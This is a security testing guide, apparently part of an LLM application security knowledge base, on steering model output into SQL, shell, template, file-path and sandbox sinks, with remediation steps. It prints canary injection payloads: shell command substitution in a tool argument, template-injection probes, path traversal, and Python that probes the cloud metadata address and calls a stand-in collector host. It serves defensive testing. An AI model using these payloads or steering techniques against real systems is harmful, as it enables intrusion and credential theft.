Model Output Into Executable Sinks

Description

A sink is anything that interprets model text instead of displaying it: the text-to-SQL layer that runs the statement it generated, the code-interpreter sandbox that executes a Python block, an agent or MCP tool that puts an argument into a shell command, a template engine that renders a generated string, a file-path builder, and a downstream API that receives a model-composed request body. In each case the model sits where a prepared statement, an argv array or a schema validator should be, and the executor trusts the string because it came from the application’s own model rather than from a user.

The prize is the executor’s privileges, which are usually far wider than the chat user’s: a database role that can write or read other tenants’ tables, a sandbox with cloud credentials or unrestricted egress, a service account behind an internal API. It is easy to miss because the happy path works perfectly and the sink is often two hops from the UI - a tool inside an agent inside a chat feature - so nobody reads the statement or argv that actually executed. This page covers steering output into each sink and proving execution; the over-broad tool design that makes the sink reachable is the Insecure Tool and Plugin Design page under LLM03, and code the assistant writes for humans to commit is the Insecure Code From AI Assistants page.

Examples

Map every sink and the identity behind it

Start from the tool registry and the traces, not the docs. Pull the callable inventory and the executed side of each span from Langfuse or the gateway log, then record for each sink what interprets the string and as whom.

sink                      interpreter        runs as              validation seen
text-to-sql               postgres driver    app_rw               none
code interpreter          python subprocess  sandbox uid 1000     none
tool: run_report          /bin/sh -c         service account      none
tool: notify              jinja2 template    n/a                  autoescape off
tool: crm_update          HTTP POST body     crm service token    none

Any row with an empty validation column and a write-capable identity is the target list for the tests below.

Text-to-SQL: prove the statement is not bound

Ask a question whose entity name contains a single quote, then read the statement the driver received.

-- prompt: how many orders for the customer named O'Brien-CANARY-1234 ?
SELECT count(*) FROM orders WHERE customer_name = 'O'Brien-CANARY-1234';

A driver syntax error, or a query log line showing the literal inlined, confirms string building. Then establish the role’s reach read-only before anything else:

SELECT current_user, session_user, current_database();
SELECT has_table_privilege(current_user, 'orders', 'UPDATE');

If the role can UPDATE or read tables outside the tenant scope, the finding is a data-integrity issue, not a formatting bug. Test stacked statements only in a lab copy, and check whether the executor rejects anything other than a single SELECT.

Shell, template and file-path sinks inside tools

Steer the conversation until the model itself writes the argument, rather than calling the tool endpoint directly - fuzzing the schema from outside is the Insecure Tool and Plugin Design page. Use canaries, never destructive commands.

# argument value the model emits for a tool whose handler builds a /bin/sh -c string
report_name = q3$(echo POC-SINK-1234 > /tmp/poc.txt)
# observable: /tmp/poc.txt exists inside the tool host

# template sink, via a notification body the model composes
{{ 7*7 }}      -> renders 49            : expression evaluation
{{ config }}   -> renders settings object: object access beyond the data variables

# path sink, via a report name the model chooses
Q3/../../shared/POC-SINK-1234  -> writes outside the reports root

Each rendered result, or a path resolving outside the intended root, is the confirmation. Record which tool and which argument, since fixes are per tool.

Map what the executor can reach

Once a sink executes, enumerate its reach from inside, read-only. The question is what the container around the sink allows, not whether a tool schema exposes a URL field.

import os, socket, urllib.request
print(sorted(os.environ))                       # names only: note credential-shaped keys
s = socket.socket(); s.settimeout(2)
print(s.connect_ex(("169.254.169.254", 80)))    # 0 means the metadata address is reachable
print(urllib.request.urlopen(
    "https://collector.example.com/?d=SANDBOX-1234", timeout=5).status)

Credential-shaped environment keys, a reachable metadata address, or a hit at the collector each turn an output-handling bug into lateral movement. Repeat from the SQL sink and the shell tool, since they usually run as different identities.

Remediation

1. Bind, never build
   • Have the model emit a structured intent - table, filters, values - validate it against a schema, and construct the SQL in code with bound parameters.
   • Reject anything that is not a single statement of an allowed type.
2. Argv arrays, no shells
   • Call executables with an argument list and no shell interpretation, and validate each model-supplied argument against a strict pattern or enum.
   • Resolve model-chosen paths against a fixed root and reject anything that escapes it.
3. Render templates without logic
   • Use autoescaped or logic-less templates, deny attribute and object access, and pass model text as data variables only.
4. Least privilege at every sink
   • Read-only database role by default with row-level scoping to the caller’s tenant, separate identities per tool, and no shared service token reused across sinks.
5. Contain the executor
   • Ephemeral, per-request sandbox with no ambient cloud credentials, blocked link-local metadata, default-deny egress to an explicit allowlist, and a wall-clock and memory cap.
6. Log the executed artifact
   • Store the exact statement, argv array and outbound body per call with the model turn that produced it, and alert on unparameterised statements and first-seen commands.